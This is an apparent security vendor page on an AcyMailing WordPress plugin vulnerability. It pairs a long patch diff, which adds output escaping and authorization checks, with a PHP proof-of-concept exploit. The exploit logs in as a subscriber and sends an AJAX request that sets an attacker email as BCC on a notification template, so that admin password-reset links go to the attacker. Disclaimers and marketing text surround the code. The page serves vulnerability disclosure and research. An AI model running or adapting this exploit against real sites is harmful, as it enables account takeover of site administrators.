-            $downloadURL = (string)$xml->update[0]->downloadurl;
-        } catch (Exception $err) {
-            return;
-        }
-
-        $currentVersion = $config->get('version');
-        if (!empty($currentVersion) && version_compare($currentVersion, $latestVersion, '>=')) {
-            $this->cancelUpdate = true;
-        }
-
-        $newConfig = [
-            'lastupdatecheck' => time(),
-            'latestversion' => $latestVersion,
-            'downloadurl' => $downloadURL,
-        ];
-
-        if (is_multisite()) {
-            $currentBlog = get_current_blog_id();
-            $sites = function_exists('get_sites') ? get_sites() : wp_get_sites();
-
-            foreach ($sites as $site) {
-                if (is_object($site)) {
-                    $site = get_object_vars($site);
-                }
-                switch_to_blog($site['blog_id']);
-                $config->saveConfig($newConfig);
-            }
-
-            switch_to_blog($currentBlog);
-        }
-
-        $config->saveConfig($newConfig);
-
-        if (acym_level(ACYM_ESSENTIAL)) {
-            UpdatemeHelper::getLicenseInfo();
-        }
-    }
-
-    private function resetUpdateData(): void
-    {
-        $config = acym_config();
-        $config->saveConfig(
-            [
-                'downloadurl' => '',
-                'lastupdatecheck' => 0,
-            ]
-        );
-    }
-}
--- a/acymailing/WpInit/UserSync.php
+++ b/acymailing/WpInit/UserSync.php
@@ -2,6 +2,8 @@

 namespace AcyMailingWpInit;

+defined('ABSPATH') || die('Restricted Access');
+
 use AcyMailingClassesUserClass;
 use AcyMailingHelpersRegacyHelper;

@@ -9,10 +11,12 @@
 {
     public function __construct()
     {
+        // Let the users opt in to the AcyMailing lists
         add_action('register_form', [$this, 'addRegistrationFields']);
         add_action('edit_user_profile', [$this, 'addProfileFields'], 10, 1);
         add_action('show_user_profile', [$this, 'addProfileFields'], 10, 1);

+        // Hooks to create/update an Acy user when a WP user is created/updated
         add_action('user_register', [$this, 'synchSaveUsers'], 10, 1);
         add_action('profile_update', [$this, 'synchSaveUsers'], 10, 2);
         add_action('delete_user', [$this, 'synchDeleteUsers']);
@@ -32,8 +36,28 @@

         ?>
 		<div class="acym__regacy">
-			<label class="acym__regacy__label"><?php echo $regacyHelper->label; ?></label>
-			<div class="acym__regacy__values"><?php echo $regacyHelper->listsHtml; ?></div>
+			<label class="acym__regacy__label"><?php echo esc_html($regacyHelper->label); ?></label>
+			<div class="acym__regacy__values">
+                <?php
+                echo wp_kses(
+                    $regacyHelper->listsHtml,
+                    [
+                        'table' => ['class' => [], 'style' => []],
+                        'tr' => ['style' => []],
+                        'td' => ['style' => []],
+                        'input' => [
+                            'type' => [],
+                            'name' => [],
+                            'id' => [],
+                            'value' => [],
+                            'class' => [],
+                            'checked' => [],
+                        ],
+                        'label' => ['for' => [], 'class' => []],
+                    ]
+                );
+                ?>
+			</div>
 		</div>
         <?php
     }
@@ -41,29 +65,32 @@
     public function addProfileFields()
     {
         $config = acym_config();
-        if (!$config->get('regacy', 0)) return;
+        if (!$config->get('regacy', 0)) {
+            return;
+        }

         $regacyHelper = new RegacyHelper();
-        if (!$regacyHelper->prepareLists([])) return;
+        if (!$regacyHelper->prepareLists([])) {
+            return;
+        }
         ?>
-		<h2><?php echo acym_translation('ACYM_SUBSCRIPTION'); ?></h2>
+		<h2><?php echo esc_html(acym_translation('ACYM_SUBSCRIPTION')); ?></h2>
 		<table class="form-table">
 			<tbody>
                 <?php
                 foreach ($regacyHelper->lists as $listId => $oneList) {
-                    $checked = $oneList['checked'] ? 'checked="checked"' : '';
                     ?>
 					<tr>
 						<th scope="row">
 							<label class="acym__regacy__lists__label" for="acym__regacy__lists-<?php echo intval($listId); ?>">
-                                <?php echo acym_escape($oneList['name']); ?>
+                                <?php echo esc_html($oneList['name']); ?>
 							</label>
 						</th>
 						<td>
 							<input name="regacy_visible_lists_checked[]"
-								   type="checkbox"
-								   id="acym__regacy__lists-<?php echo intval($listId); ?>"
-								   value="<?php echo intval($listId); ?>" <?php echo $checked; ?>>
+							       type="checkbox"
+							       id="acym__regacy__lists-<?php echo intval($listId); ?>"
+							       value="<?php echo intval($listId); ?>" <?php checked($oneList['checked']); ?>>
 						</td>
 					</tr>
                     <?php
@@ -71,7 +98,7 @@
                 ?>
 			</tbody>
 		</table>
-		<input type="hidden" value="<?php echo implode(',', array_keys($regacyHelper->lists)); ?>" name="regacy_visible_lists" />
+		<input type="hidden" value="<?php echo esc_attr(implode(',', array_keys($regacyHelper->lists))); ?>" name="regacy_visible_lists" />
 		<input type="hidden" value="WordPress user profile" name="acy_source" />
         <?php
     }
--- a/acymailing/back/Classes/ActionClass.php
+++ b/acymailing/back/Classes/ActionClass.php
@@ -37,9 +37,9 @@
     public function getActionsByConditionId(int $id): array
     {
         $actions = acym_loadObjectList(
-            'SELECT action.*
-            FROM #__acym_action as action
-            WHERE action.condition_id = '.intval($id)
+            'SELECT *
+            FROM #__acym_action
+            WHERE condition_id = '.intval($id)
         );

         array_map([$this, 'fixTypes'], $actions);
--- a/acymailing/back/Classes/AutomationClass.php
+++ b/acymailing/back/Classes/AutomationClass.php
@@ -77,7 +77,7 @@
                 continue;
             }

-            $element->$oneAttribute = is_array($value) ? json_encode($value) : strip_tags($value);
+            $element->$oneAttribute = is_array($value) ? json_encode($value) : acym_stripTags($value);
         }

         return parent::save($element);
@@ -96,6 +96,10 @@
         return parent::delete($elements);
     }

+    /**
+     * @param mixed $trigger The identifier of the trigger
+     * @param array $data    An array with data for user-type triggers (user id, order, event...)
+     */
     public function trigger($triggers, array $data = []): void
     {
         if (!acym_level(ACYM_ENTERPRISE) || empty($triggers)) {
@@ -117,10 +121,13 @@
             $newData = $data;
             $execute = false;

+            // If we reached the next execution time we execute
+            // next_execution is only set if one of the time triggers like "asap" or "day" is selected in the automation
             if (!empty($step->next_execution) && $step->next_execution <= $newData['time']) {
                 $execute = true;
             }

+            // Call the triggers to set the next execution time
             acym_trigger('onAcymExecuteTrigger', [&$step, &$execute, &$newData]);

             $newData['automation'] = $this->getOneById($step->automation_id);
@@ -130,7 +137,9 @@
                 $conditions = $conditionClass->getConditionsByStepId($step->id);
                 if (!empty($conditions)) {
                     foreach ($conditions as $condition) {
-                        if (!$this->verifyCondition($condition->conditions, $newData)) continue;
+                        if (!$this->verifyCondition($condition->conditions, $newData)) {
+                            continue;
+                        }

                         $actions = $actionClass->getActionsByStepId($step->id);
                         if (empty($actions)) continue;
@@ -187,14 +196,17 @@
             $query->where = $initialWhere;
         }

+        //We do the or first
         foreach ($action->filters as $or => $orValue) {
             if (empty($orValue)) {
                 continue;
             }
             $num = 0;
             $query->where = $initialWhere;
+            //Next the and
             foreach ($orValue as $and => $andValue) {
                 $num++;
+                //Finally we have all names filter
                 foreach ($andValue as $filterName => $filterOptions) {
                     acym_trigger('onAcymProcessFilter_'.$filterName, [&$query, &$filterOptions, &$num]);
                 }
@@ -232,13 +244,15 @@
         return $this->didAnAction;
     }

-    private function verifyCondition($conditions, array $data = []): bool
+    private function verifyCondition(array $conditions, array $data = []): bool
     {
-        if (empty($conditions)) return true;
+        if (empty($conditions)) {
+            return true;
+        }
+
         $userTriggeringAction = empty($data['userId']) ? 0 : $data['userId'];
         $usersTriggeringAction = empty($data['userIds']) ? [] : $data['userIds'];

-        $conditions = json_decode($conditions, true);
         $query = new AutomationHelper();
         $initialWhere = ['1 = 1'];
         if (!empty($conditions['type_condition']) && $conditions['type_condition'] == 'user') {
@@ -258,11 +272,14 @@
         foreach ($conditions as $or => $orValue) {
             if (empty($orValue)) continue;

+            // we increment id condition not validate
             $conditionNotValid = 0;
             $num = 0;
+            //Next the and
             foreach ($orValue as $and => $andValue) {
                 $num++;
                 $query->where = $initialWhere;
+                //Finally we have all names condition
                 foreach ($andValue as $filterName => $filterOptions) {
                     acym_trigger('onAcymProcessCondition_'.$filterName, [&$query, &$filterOptions, &$num, &$conditionNotValid]);
                 }
--- a/acymailing/back/Classes/CampaignClass.php
+++ b/acymailing/back/Classes/CampaignClass.php
@@ -309,6 +309,7 @@
             $element->click = number_format($element->click / $element->subscribers * 100, 2);
         }

+        //Tracking sales
         if (!acym_isTrackingSalesActive()) {
             return;
         }
@@ -395,7 +396,7 @@
                 $campaign->$oneAttribute = json_encode(empty($value) ? [] : $value);
             } else {
                 if (empty($value)) continue;
-                $campaign->$oneAttribute = strip_tags($value);
+                $campaign->$oneAttribute = acym_stripTags($value);
             }
         }

@@ -432,11 +433,11 @@
             return false;
         }

-        if (acym_isAdmin()) {
+        if (acym_isAdmin() && acym_isAllowed('campaigns')) {
             return true;
         }

-        $query = 'SELECT COUNT(*) FROM #__acym_campaign AS campaign
+        $query = 'SELECT COUNT(*) FROM #__acym_campaign AS campaign
             JOIN #__acym_mail AS mail ON campaign.mail_id = mail.id ';

         $condition = 'mail.creator_id = '.intval($userId);
@@ -454,6 +455,10 @@
         return acym_loadResult($query) > 0;
     }

+    /**
+     * Delete a campaign. Needs to delete the tag associated with the campaign and the mail attached to the campaign.
+     * Deleting a mail of a campaign needs to clean the association table mail_has_list and its tags
+     */
     public function delete(array $elements): int
     {
         acym_arrayToInteger($elements);
@@ -557,6 +562,7 @@

     public function send(int $campaignID, int $result = 0, bool $abTestFinal = false)
     {
+        // Make sure the email we're trying to send exists
         $campaign = $this->getOneById($campaignID);

         if (empty($campaign->mail_id)) {
@@ -572,15 +578,18 @@
             $filters = [0 => []];
             acym_trigger('onAcymSendCampaignSpecial', [$campaign, &$filters[0], &$pluginIsExisting]);
         } else {
+            // Adds the special campaigns conditions to the "OR" blocs of the segment
             foreach ($filters as $key => $filter) {
                 acym_trigger('onAcymSendCampaignSpecial', [$campaign, &$filters[$key], &$pluginIsExisting]);
             }
         }

+        // This is a special campaign type, but the required plugin is not installed
         if (!$pluginIsExisting) {
             return false;
         }

+        // Make sure some receivers have been selected
         $lists = acym_loadResultArray('SELECT list_id FROM #__acym_mail_has_list WHERE mail_id = '.intval($campaign->mail_id));
         if (empty($lists)) {
             $this->errors[] = acym_translation('ACYM_NO_LIST_SELECTED');
@@ -639,6 +648,7 @@
                 $select = [intval($campaign->mail_id), 'ul.`user_id`', acym_escapeDB($date)];
             }

+            // Resending a campaign only to users who didn't receive it
             if (!empty($campaign->sending_params['resendTarget']) && 'new' === $campaign->sending_params['resendTarget']) {
                 if (acym_isMultilingual()) {
                     $automationHelper->leftjoin['us'] = '`#__acym_user_stat` AS `us` ON `us`.`user_id` = `user`.`id` AND `us`.`mail_id` IN (SELECT id FROM #__acym_mail WHERE parent_id = '.intval(
@@ -662,8 +672,9 @@
                     'INSERT IGNORE INTO `#__acym_queue` (`mail_id`, `user_id`, `sending_date`) '.$automationHelper->getQuery($select1)
                 );

+                // If we have an odd number of users to send, we send one more to the first mail
                 $numberOfUsersToSend2 = $numberOfUsersToSend1 * 2 > $numberOfUsersToSend ? $numberOfUsersToSend1 - 1 : $numberOfUsersToSend1;
-                $automationHelper->limit = $numberOfUsersToSend.', '.$numberOfUsersToSend2;
+                $automationHelper->limit = $numberOfUsersToSend1.', '.$numberOfUsersToSend2;
                 $select2 = [intval($campaign->sending_params['abtest']['B']), 'ul.`user_id`', acym_escapeDB($date)];
                 $numberUsersInsertedByMailId[intval($campaign->sending_params['abtest']['B'])] = acym_query(
                     'INSERT IGNORE INTO `#__acym_queue` (`mail_id`, `user_id`, `sending_date`) '.$automationHelper->getQuery($select2)
@@ -737,6 +748,7 @@
     {
         acym_arrayToInteger($mailIds);

+        //TODO move these methods in mail stat class
         $query = 'SELECT SUM(sent) AS sent, SUM(open_unique) AS open_unique FROM #__acym_mail_stat
                     WHERE mail_id IN ('.implode(',', $mailIds).')';

@@ -825,28 +837,35 @@

     public function getLastNewsletters(array &$params): array
     {
+        // Init select elements
         $querySelect = 'SELECT mail.*, campaign.sending_date ';
         $queryCountSelect = 'SELECT COUNT(*) FROM (SELECT DISTINCT mail.id ';

+        // Form the query
         $query = 'FROM #__acym_campaign AS campaign
                   JOIN #__acym_mail AS mail ON campaign.mail_id = mail.id ';

+        // We may need some joins depending on the selected options
         if (isset($params['userId']) || isset($params['lists'])) {
             $query .= 'JOIN #__acym_mail_has_list AS maillist ON mail.id = maillist.mail_id ';
             if (isset($params['userId'])) $query .= 'JOIN #__acym_user_has_list AS userlist ON maillist.list_id = userlist.list_id ';
         }

+        // Make sure we display only active campaigns
         $where = 'WHERE campaign.active = 1 AND campaign.sent = 1 AND mail.type = '.acym_escapeDB(MailClass::TYPE_STANDARD).' AND campaign.visible = 1 ';

+        // If we want an archive of some specific lists
         if (isset($params['lists'])) {
             acym_arrayToInteger($params['lists']);
             $where .= 'AND maillist.list_id IN ('.implode(', ', $params['lists']).') ';
         }

+        // If we want an archive for a specific user
         if (isset($params['userId']) && !empty($params['displayUserListOnly'])) {
             $where .= 'AND userlist.user_id = '.intval($params['userId']).' ';
         }

+        // If the user search for a newsletter
         if (isset($params['search'])) {
             $search = acym_escapeDB('%'.acym_utf8Encode($params['search']).'%');
             $where .= 'AND (mail.subject LIKE '.$search.' OR mail.body LIKE '.$search.')';
@@ -856,9 +875,11 @@
         $return = [];
         $return['count'] = (int)acym_loadResult($queryCountSelect.$query.') AS r ');

+        // Make sure we display campaigns only once
         $endQuerySelect = 'GROUP BY mail.id ';
         $endQuerySelect .= 'ORDER BY campaign.sending_date DESC';

+        // Init the pagination
         $page = $params['page'] ?? 0;
         $numberPerPage = $params['numberPerPage'] ?? 0;
         $lastNewsletters = $params['limit'] ?? 0;
@@ -945,6 +966,7 @@
         $time = time();

         foreach ($activeAutoCampaigns as $campaign) {
+            // Check the start date
             $nextTrigger = $campaign->next_trigger;
             if (empty($nextTrigger) && !empty($campaign->sending_params['start_date'])) {
                 $nextTrigger = $campaign->sending_params['start_date'];
@@ -954,6 +976,7 @@
                 continue;
             }

+            //check if we trigger the campaign
             $step = new stdClass();
             $step->triggers = $campaign->sending_params;
             $step->last_execution = $campaign->last_generated;
@@ -968,6 +991,7 @@
                 continue;
             }

+            //update the campaign
             $campaignMail = $mailClass->getOneById($campaign->mail_id);

             $lastGenerated = $campaign->last_generated;
@@ -978,6 +1002,7 @@
                 continue;
             }

+            //We generate the new campaign
             $generatedCampaign = $this->generateCampaign($campaign, $campaignMail, $lastGenerated, $mailClass);
             if (empty($generatedCampaign)) {
                 $this->messages[] = acym_translationSprintf('ACYM_CAMPAIGN_FAILED_GENERATING', $campaign->name);
@@ -986,6 +1011,7 @@

             $this->messages[] = acym_translationSprintf('ACYM_CAMPAIGN_GENERATED', $campaign->name, $campaign->sending_params['number_generated']);

+            // We send it directly if no confirmation is needed
             if (empty($campaign->sending_params['need_confirm_to_send'])) {
                 $this->send($generatedCampaign->id);
             } elseif (!empty($campaign->sending_params['admin_notification_emails']) && !empty($adminNotificationEmail)) {
@@ -1002,10 +1028,12 @@

     private function shouldGenerateCampaign(object $campaign, object $campaignMail): bool
     {
+        // The generateByCategory function is the only one that can stop a campaign generation, with min number of items
         $results = acym_trigger('generateByCategory', [&$campaignMail], null, function ($plugin) {
             $plugin->generateCampaignResult->status = true;
         });

+        // If one of the return statuses is "false", we won't generate the campaign
         foreach ($results as $oneResult) {
             if (isset($oneResult->status) && !$oneResult->status) {
                 $this->messages[] = acym_translationSprintf('ACYM_CAMPAIGN_NOT_GENERATED', $campaign->name, $oneResult->message);
@@ -1053,6 +1081,7 @@

         $newCampaign->id = $this->save($newCampaign);

+        // Replace content in the generated mail. MUST be done after campaign has been saved
         acym_trigger('replaceContent', [&$newMail, false]);
         $mailClass->save($newMail);

--- a/acymailing/back/Classes/ConditionClass.php
+++ b/acymailing/back/Classes/ConditionClass.php
@@ -42,7 +42,7 @@
             }

             if ($oneAttribute !== 'conditions') {
-                $element->$oneAttribute = is_array($value) ? json_encode($value) : strip_tags($value);
+                $element->$oneAttribute = is_array($value) ? json_encode($value) : acym_stripTags($value);
             }
         }

@@ -51,8 +51,16 @@

     public function getConditionsByStepId(int $id): array
     {
-        $query = 'SELECT acycondition.* FROM #__acym_condition as acycondition LEFT JOIN #__acym_step AS step ON step.id = acycondition.step_id WHERE step.id = '.intval($id);
+        $conditions = acym_loadObjectList(
+            'SELECT *
+            FROM #__acym_condition
+            WHERE `step_id` = '.intval($id)
+        );

-        return acym_loadObjectList($query);
+        foreach ($conditions as $condition) {
+            $condition->conditions = empty($condition->conditions) ? [] : json_decode($condition->conditions, true);
+        }
+
+        return $conditions;
     }
 }
--- a/acymailing/back/Classes/ConfigurationClass.php
+++ b/acymailing/back/Classes/ConfigurationClass.php
@@ -31,6 +31,12 @@
         return $default;
     }

+    /**
+     * @param object|array $element
+     *
+     * @Deprecated 10.6.0 No longer used because of type mismatch.
+     * @See        ConfigurationClass::saveConfig() as a replacement.
+     */
     public function save($element): ?int
     {
         $this->saveConfig((array)$element);
@@ -46,6 +52,7 @@
         $previousCronSecurityKey = $this->get('cron_key');
         $params = [];
         foreach ($newConfig as $name => $value) {
+            //If it's a password containing only * then we just consider the user saved again the config but there is no modification on the password
             if (!empty($value)) {
                 if (strpos($name, 'password') !== false && trim($value, '*') === '') {
                     continue;
@@ -67,13 +74,15 @@
                 $value = implode(',', $value);
             }

+            //We update the current instance in the same time
             if (empty($this->values[$name])) {
                 $this->values[$name] = new stdClass();
             }
             $this->values[$name]->value = $value;

+            // We do a strip tags to avoid HTML injections
             if ($escape && !is_null($value)) {
-                $params[] = '('.acym_escapeDB(strip_tags($name)).','.acym_escapeDB(strip_tags($value)).')';
+                $params[] = '('.acym_escapeDB(acym_stripTags($name)).','.acym_escapeDB(acym_stripTags($value)).')';
             } else {
                 $params[] = '('.acym_escapeDB($name).','.acym_escapeDB($value).')';
             }
@@ -82,6 +91,7 @@
         $activeCron = $this->get('active_cron', 0);
         $newCronSecurity = $this->get('cron_security', 0);
         $newCronSecurityKey = $this->get('cron_key');
+        // Handle cron key activation or modification while automated tasks are active
         if (!empty($activeCron) && !empty($newCronSecurity) && (empty($previousCronSecurity) || $previousCronSecurityKey !== $newCronSecurityKey)) {
             $configurationController = new ConfigurationController();
             $deactivationResult = $configurationController->modifyCron('deactivateCron');
@@ -95,13 +105,14 @@
         }

         try {
+            // We do a replace so that values are always kept up to date and added if necessary in the mean time
             $status = acym_query('REPLACE INTO #__acym_configuration (`name`, `value`) VALUES '.implode(',', $params));
         } catch (Exception $e) {
             $status = false;
         }

         if ($status === false) {
-            acym_display(isset($e) ? $e->getMessage() : substr(strip_tags(acym_getDBError()), 0, 200).'...', 'error');
+            acym_display(isset($e) ? $e->getMessage() : substr(acym_stripTags(acym_getDBError()), 0, 200).'...', 'error');
         }

         $newFollowupPriority = $this->get('followup_max_priority', 0) == 1;
--- a/acymailing/back/Classes/FieldClass.php
+++ b/acymailing/back/Classes/FieldClass.php
@@ -3,6 +3,7 @@
 namespace AcyMailingClasses;

 use AcyMailingCoreAcymClass;
+use AcyMailingHelpersSecurityHelper;

 class FieldClass extends AcymClass
 {
@@ -142,7 +143,8 @@

     public function store(int $userID, array $fields, bool $ajax = false): void
     {
-        if (!empty($_FILES['customField'])) {
+        $customField = acym_getVar('array', 'customField', [], 'FILES');
+        if (!empty($customField)) {
             $uploadFolder = trim(acym_cleanPath(html_entity_decode(acym_getFilesFolder(true))), DS.' ').DS;
             $uploadPath = acym_cleanPath(ACYM_ROOT.$uploadFolder.'userfiles'.DS.$userID.DS);
             if (!file_exists($uploadPath)) {
@@ -150,11 +152,12 @@
             }
             $allowedExtensions = explode(',', $this->config->get('allowed_files'));

-            foreach ($_FILES['customField']['tmp_name'] as $key => $value) {
+            foreach ($customField['tmp_name'] as $key => $value) {
                 if (is_array($value) && isset($value[0])) $value = $value[0];
                 if (empty($value)) continue;

-                $fileName = $_FILES['customField']['name'][$key];
+                // Get the uploaded file name
+                $fileName = $customField['name'][$key];
                 while (is_array($fileName) && isset($fileName[0])) {
                     $fileName = $fileName[0];
                 }
@@ -164,14 +167,14 @@
                     if ($ajax) {
                         $this->errors[] = acym_translationSprintf(
                             'ACYM_ACCEPTED_TYPE',
-                            acym_escape($ext),
+                            esc_html($ext),
                             implode(', ', $allowedExtensions)
                         );
                     } else {
                         acym_enqueueMessage(
                             acym_translationSprintf(
                                 'ACYM_ACCEPTED_TYPE',
-                                acym_escape($ext),
+                                esc_html($ext),
                                 implode(', ', $allowedExtensions)
                             ),
                             'error',
@@ -191,7 +194,7 @@

                     continue;
                 }
-                $fields[$key] = $_FILES['customField']['name'][$key];
+                $fields[$key] = $customField['name'][$key];
             }
         }

@@ -246,6 +249,7 @@
                 $value = substr($value, 0, $fieldOptions->max_characters);
             }

+            // If deleting a file field, also delete the physical file
             if ($field->type === 'file' && strlen($value) === 0) {
                 $oldValue = acym_loadResult(
                     'SELECT `value` FROM #__acym_user_has_field WHERE `user_id` = '.intval($userID).' AND `field_id` = '.intval($id)
@@ -256,14 +260,16 @@
                     if (empty($fileName)) $fileName = $oldValue;

                     $uploadFolder = trim(acym_cleanPath(html_entity_decode(acym_getFilesFolder(true))), DS.' ').DS;
+                    // Try new path (with user folder) first, then legacy path (without user folder)
                     $filePath = acym_cleanPath(ACYM_ROOT.$uploadFolder.'userfiles'.DS.$userID.DS.$fileName);
                     if (!file_exists($filePath)) {
                         $filePath = acym_cleanPath(ACYM_ROOT.$uploadFolder.'userfiles'.DS.$fileName);
                     }
-                    acym_deleteFile($filePath, false);
+                    acym_deleteFile($filePath);
                 }
             }

+            // The user removed a value, don't add an empty line and remove any previous value from the bd
             if (strlen($value) === 0) {
                 $query = 'DELETE FROM `#__acym_user_has_field`
                           WHERE `user_id` = '.intval($userID).'
@@ -354,6 +360,7 @@
                 });

                 if (empty($defaultValues)) {
+                    // Options from database
                     if (!empty($one->field_value)) {
                         $fieldOptions = json_decode($one->option, true);
                         if (!empty($fieldOptions['fieldDB'])) {
@@ -367,6 +3

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-15426 - AcyMailing <= 10.11.1 - Authenticated (Subscriber+) Missing Authorization to Account Takeover via Notification Template Update

$target_url = 'http://example.com'; // Target WordPress site URL
$username = 'subscriber_user'; // Username with subscriber role
$password = 'subscriber_password'; // Password for subscriber user

// Attacker-controlled email address to receive the password reset link
$attacker_email = 'attacker@example.com';

// 1. Authenticate as the subscriber to get a session cookie
function acym_login_and_get_cookie($url, $user, $pass) {
    $login_url = $url . '/wp-login.php';
    $post_data = [
        'log' => $user,
        'pwd' => $pass,
        'wp-submit' => 'Log In',
        'redirect_to' => $url . '/wp-admin/',
        'testcookie' => '1'
    ];

    $ch = curl_init($login_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($post_data),
        CURLOPT_COOKIEJAR => '/tmp/acym_cookies.txt',
        CURLOPT_FOLLOWLOCATION => false,
        CURLOPT_HEADER => true
    ]);
    curl_exec($ch);
    curl_close($ch);
}

// 2. Perform the unauthorized AJAX request to update the notification template
function acym_exploit_update_template($base_url, $attacker_email) {
    $ajax_url = $base_url . '/wp-admin/admin-ajax.php';

    // The data parameter contains the template configuration. We target the 'acy_notification_cms' template.
    // The exact structure may need adjustment based on specific plugin version, but the 'bcc' key is the target.
    $template_data = [
        'id' => 3, // Assuming 'acy_notification_cms' has ID 3, may need to enumerate or change.
        'name' => 'acy_notification_cms',
        'bcc' => $attacker_email,
        'subject' => 'Password Reset',
        'body' => 'Reset link: [password_reset_link]'
    ];

    $post_fields = [
        'action' => 'acymailing_router',
        'ctrl' => 'mails',
        'task' => 'store',
        'data' => json_encode($template_data) // Depending on how the plugin processes it.
    ];

    $ch = curl_init($ajax_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($post_fields),
        CURLOPT_COOKIEFILE => '/tmp/acym_cookies.txt',
        CURLOPT_HTTPHEADER => ['X-Requested-With: XMLHttpRequest']
    ]);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    echo "[+] AJAX Request completed with HTTP status: $http_coden";
    // In a successful exploit, you would check the response for indicators, but HTTP 200 is a good sign.
}

// Execute the exploit
acym_login_and_get_cookie($target_url, $username, $password);
acym_exploit_update_template($target_url, $attacker_email);

echo "[!] Exploit executed. The BCC field for the acy_notification_cms template has been updated.n";
echo "[!] Trigger a password reset for an admin user. The reset link will be sent to $attacker_email.n";

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.